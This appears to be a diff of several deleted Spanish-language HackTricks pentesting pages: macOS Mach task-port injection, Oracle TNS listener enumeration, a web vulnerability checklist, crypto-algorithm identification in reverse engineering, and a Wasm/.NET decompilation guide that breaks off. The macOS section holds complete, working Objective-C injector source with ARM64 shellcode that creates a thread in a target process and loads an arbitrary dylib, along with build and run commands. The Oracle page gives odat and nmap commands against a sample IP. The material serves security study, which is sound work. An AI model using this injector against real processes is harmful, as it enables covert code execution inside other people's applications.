pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Inyección de Dylib en hilo a través del puerto de tarea
En macOS, **los hilos** pueden ser manipulados a través de **Mach** o utilizando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado utilizando la API de Mach, por lo que **no es compatible con posix**.
Fue posible **inyectar un shellcode simple** para ejecutar un comando porque **no necesitaba trabajar con APIs** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
Por lo tanto, para **mejorar el hilo**, debería llamar a **`pthread_create_from_mach_thread`**, que **creará un pthread válido**. Luego, este nuevo pthread podría **llamar a dlopen** para **cargar un dylib** del sistema, por lo que en lugar de escribir un nuevo shellcode para realizar diferentes acciones, es posible cargar bibliotecas personalizadas.
Puedes encontrar **dylibs de ejemplo** en (por ejemplo, el que genera un registro y luego puedes escucharlo):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Secuestro de Hilo a través del puerto de Tarea <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
En esta técnica, un hilo del proceso es secuestrado:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### Información Básica
XPC, que significa Comunicación Inter-Procesos de XNU (el núcleo utilizado por macOS), es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con separación de privilegios** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido.
Para más información sobre cómo funciona esta **comunicación** y cómo **podría ser vulnerable**, consulta:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Generador de Interfaz Mach
MIG fue creado para **simplificar el proceso de creación de código Mach IPC**. Básicamente, **genera el código necesario** para que el servidor y el cliente se comuniquen con una definición dada. Incluso si el código generado es feo, un desarrollador solo necesitará importarlo y su código será mucho más simple que antes.
Para más información, consulta:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## Referencias
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,61 +0,0 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
Oracle database (Oracle DB) es un sistema de gestión de bases de datos relacional (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener oyentes secundarios en 15221529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Resumen
1. **Enumeración de Versiones**: Identificar información de versión para buscar vulnerabilidades conocidas.
2. **Bruteforce del Listener TNS**: A veces es necesario para establecer comunicación.
3. **Enumeración/Bruteforce del Nombre SID**: Descubrir nombres de bases de datos (SID).
4. **Bruteforce de Credenciales**: Intentar acceder al SID descubierto.
5. **Ejecución de Código**: Intentar ejecutar código en el sistema.
Para usar los módulos de oracle de MSF necesitas instalar algunas dependencias: [**Instalación**](oracle-pentesting-requirements-installation.md)
## Publicaciones
Revisa estas publicaciones:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## Comandos Automáticos de HackTricks
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,129 +0,0 @@
# Metodología de Vulnerabilidades Web
{{#include ../../banners/hacktricks-training.md}}
En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vulnerables**. Esta publicación está destinada a ser una lista de verificación para confirmar que has buscado vulnerabilidades en todos los lugares posibles.
## Proxies
> [!TIP]
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
## **Entrada del usuario**
> [!TIP]
> La mayoría de las aplicaciones web **permitirán a los usuarios ingresar algunos datos que serán procesados más tarde.**\
> Dependiendo de la estructura de los datos que el servidor espera, algunas vulnerabilidades pueden o no aplicarse.
### **Valores Reflejados**
Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la página podría ser vulnerable a varios problemas.
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
- [ ] [**Command Injection**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
- [ ] [**Open Redirect**](../open-redirect.md)
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, otras solo requieren que el contenido sea reflejado. Puedes encontrar algunos poliglotas interesantes para probar rápidamente las vulnerabilidades en:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **Funcionalidades de búsqueda**
Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
- [ ] [**NoSQL Injection**](../nosql-injection.md)
- [ ] [**LDAP Injection**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Injection**](../sql-injection/index.html)
- [ ] [**XPATH Injection**](../xpath-injection.md)
### **Formularios, WebSockets y PostMsgs**
Cuando un websocket publica un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
### **Encabezados HTTP**
Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
### **Bypasses**
Hay varias funcionalidades específicas donde algunos métodos alternativos podrían ser útiles para eludirlas.
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
- [ ] [**Login Bypass**](../login-bypass/index.html)
- [ ] [**Race Condition**](../race-condition.md)
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
### **Objetos estructurados / Funcionalidades específicas**
Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezado de Correo Electrónico).
- [ ] [**Deserialization**](../deserialization/index.html)
- [ ] [**Email Header Injection**](../email-injections.md)
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
### Archivos
Las funcionalidades que permiten subir archivos podrían ser vulnerables a varios problemas.\
Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían estar comprometidos.
- [ ] [**File Upload**](../file-upload/index.html)
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Gestión de Identidad Externa**
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
### **Otras Vulnerabilidades Útiles**
Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,185 +0,0 @@
# Algoritmos Criptográficos/Compresión
## Algoritmos Criptográficos/Compresión
{{#include ../../banners/hacktricks-training.md}}
## Identificación de Algoritmos
Si terminas en un código **usando desplazamientos a la derecha e izquierda, xors y varias operaciones aritméticas** es muy posible que sea la implementación de un **algoritmo criptográfico**. Aquí se mostrarán algunas formas de **identificar el algoritmo que se está utilizando sin necesidad de revertir cada paso**.
### Funciones de API
**CryptDeriveKey**
Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro:
![](<../../images/image (375) (1) (1) (1) (1).png>)
Consulta aquí la tabla de posibles algoritmos y sus valores asignados: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Comprime y descomprime un búfer de datos dado.
**CryptAcquireContext**
De [la documentación](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La función **CryptAcquireContext** se utiliza para adquirir un identificador a un contenedor de claves particular dentro de un proveedor de servicios criptográficos (CSP) particular. **Este identificador devuelto se utiliza en llamadas a funciones de CryptoAPI** que utilizan el CSP seleccionado.
**CryptCreateHash**
Inicia el hashing de un flujo de datos. Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro:
![](<../../images/image (376).png>)
\
Consulta aquí la tabla de posibles algoritmos y sus valores asignados: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Constantes de código
A veces es realmente fácil identificar un algoritmo gracias al hecho de que necesita usar un valor especial y único.
![](<../../images/image (370).png>)
Si buscas la primera constante en Google, esto es lo que obtienes:
![](<../../images/image (371).png>)
Por lo tanto, puedes asumir que la función decompilada es un **calculador de sha256.**\
Puedes buscar cualquiera de las otras constantes y probablemente obtendrás el mismo resultado.
### información de datos
Si el código no tiene ninguna constante significativa, puede estar **cargando información de la sección .data**.\
Puedes acceder a esos datos, **agrupar el primer dword** y buscarlo en Google como hemos hecho en la sección anterior:
![](<../../images/image (372).png>)
En este caso, si buscas **0xA56363C6** puedes encontrar que está relacionado con las **tablas del algoritmo AES**.
## RC4 **(Criptografía Simétrica)**
### Características
Está compuesto por 3 partes principales:
- **Etapa de inicialización/**: Crea una **tabla de valores de 0x00 a 0xFF** (256 bytes en total, 0x100). Esta tabla se llama comúnmente **Caja de Sustitución** (o SBox).
- **Etapa de desordenamiento**: **Recorrerá la tabla** creada antes (bucle de 0x100 iteraciones, nuevamente) modificando cada valor con bytes **semi-aleatorios**. Para crear estos bytes semi-aleatorios, se utiliza la **clave RC4**. Las **claves RC4** pueden tener **entre 1 y 256 bytes de longitud**, sin embargo, generalmente se recomienda que sea superior a 5 bytes. Comúnmente, las claves RC4 tienen 16 bytes de longitud.
- **Etapa XOR**: Finalmente, el texto plano o el texto cifrado se **XORea con los valores creados anteriormente**. La función para cifrar y descifrar es la misma. Para esto, se realizará un **bucle a través de los 256 bytes creados** tantas veces como sea necesario. Esto generalmente se reconoce en un código decompilado con un **%256 (mod 256)**.
> [!NOTE]
> **Para identificar un RC4 en un código desensamblado/decompilado, puedes buscar 2 bucles de tamaño 0x100 (con el uso de una clave) y luego un XOR de los datos de entrada con los 256 valores creados anteriormente en los 2 bucles, probablemente usando un %256 (mod 256)**
### **Etapa de Inicialización/Caja de Sustitución:** (Nota el número 256 usado como contador y cómo se escribe un 0 en cada lugar de los 256 caracteres)
![](<../../images/image (377).png>)
### **Etapa de Desordenamiento:**
![](<../../images/image (378).png>)
### **Etapa XOR:**
![](<../../images/image (379).png>)
## **AES (Criptografía Simétrica)**
### **Características**
- Uso de **cajas de sustitución y tablas de búsqueda**
- Es posible **distinguir AES gracias al uso de valores específicos de tablas de búsqueda** (constantes). _Nota que la **constante** puede ser **almacenada** en el binario **o creada** _**dinámicamente**._
- La **clave de cifrado** debe ser **divisible** por **16** (generalmente 32B) y generalmente se utiliza un **IV** de 16B.
### Constantes SBox
![](<../../images/image (380).png>)
## Serpent **(Criptografía Simétrica)**
### Características
- Es raro encontrar malware que lo use, pero hay ejemplos (Ursnif)
- Simple de determinar si un algoritmo es Serpent o no basado en su longitud (función extremadamente larga)
### Identificación
En la siguiente imagen, nota cómo se utiliza la constante **0x9E3779B9** (nota que esta constante también es utilizada por otros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
También nota el **tamaño del bucle** (**132**) y el **número de operaciones XOR** en las instrucciones de **desensamblado** y en el **ejemplo de código**:
![](<../../images/image (381).png>)
Como se mencionó antes, este código puede visualizarse dentro de cualquier decompilador como una **función muy larga** ya que **no hay saltos** dentro de ella. El código decompilado puede verse como el siguiente:
![](<../../images/image (382).png>)
Por lo tanto, es posible identificar este algoritmo verificando el **número mágico** y los **XORs iniciales**, viendo una **función muy larga** y **comparando** algunas **instrucciones** de la función larga **con una implementación** (como el desplazamiento a la izquierda por 7 y la rotación a la izquierda por 22).
## RSA **(Criptografía Asimétrica)**
### Características
- Más complejo que los algoritmos simétricos
- ¡No hay constantes! (las implementaciones personalizadas son difíciles de determinar)
- KANAL (un analizador criptográfico) no logra mostrar pistas sobre RSA ya que se basa en constantes.
### Identificación por comparaciones
![](<../../images/image (383).png>)
- En la línea 11 (izquierda) hay un `+7) >> 3` que es el mismo que en la línea 35 (derecha): `+7) / 8`
- La línea 12 (izquierda) está verificando si `modulus_len < 0x040` y en la línea 36 (derecha) está verificando si `inputLen+11 > modulusLen`
## MD5 & SHA (hash)
### Características
- 3 funciones: Init, Update, Final
- Funciones de inicialización similares
### Identificar
**Init**
Puedes identificar ambos verificando las constantes. Nota que sha_init tiene 1 constante que MD5 no tiene:
![](<../../images/image (385).png>)
**Transformación MD5**
Nota el uso de más constantes
![](<../../images/image (253) (1) (1) (1).png>)
## CRC (hash)
- Más pequeño y eficiente ya que su función es encontrar cambios accidentales en los datos
- Utiliza tablas de búsqueda (por lo que puedes identificar constantes)
### Identificar
Consulta **constantes de tablas de búsqueda**:
![](<../../images/image (387).png>)
Un algoritmo hash CRC se ve como:
![](<../../images/image (386).png>)
## APLib (Compresión)
### Características
- Constantes no reconocibles
- Puedes intentar escribir el algoritmo en python y buscar cosas similares en línea
### Identificar
El gráfico es bastante grande:
![](<../../images/image (207) (2) (1).png>)
Consulta **3 comparaciones para reconocerlo**:
![](<../../images/image (384).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,114 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Guía de Decompilación de Wasm y Compilación de Wat
En el ámbito de **WebAssembly**, las herramientas para **decompilar** y **compilar** son esenciales para los desarrolladores. Esta guía presenta algunos recursos en línea y software para manejar archivos **Wasm (binario de WebAssembly)** y **Wat (texto de WebAssembly)**.
## Herramientas en Línea
- Para **decompilar** Wasm a Wat, la herramienta disponible en [la demo wasm2wat de Wabt](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) es muy útil.
- Para **compilar** Wat de vuelta a Wasm, la [demo wat2wasm de Wabt](https://webassembly.github.io/wabt/demo/wat2wasm/) cumple con el propósito.
- Otra opción de decompilación se puede encontrar en [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
## Soluciones de Software
- Para una solución más robusta, [JEB de PNF Software](https://www.pnfsoftware.com/jeb/demo) ofrece características extensas.
- El proyecto de código abierto [wasmdec](https://github.com/wwwg/wasmdec) también está disponible para tareas de decompilación.
# Recursos de Decompilación de .Net
Decompilar ensamblados de .Net se puede lograr con herramientas como:
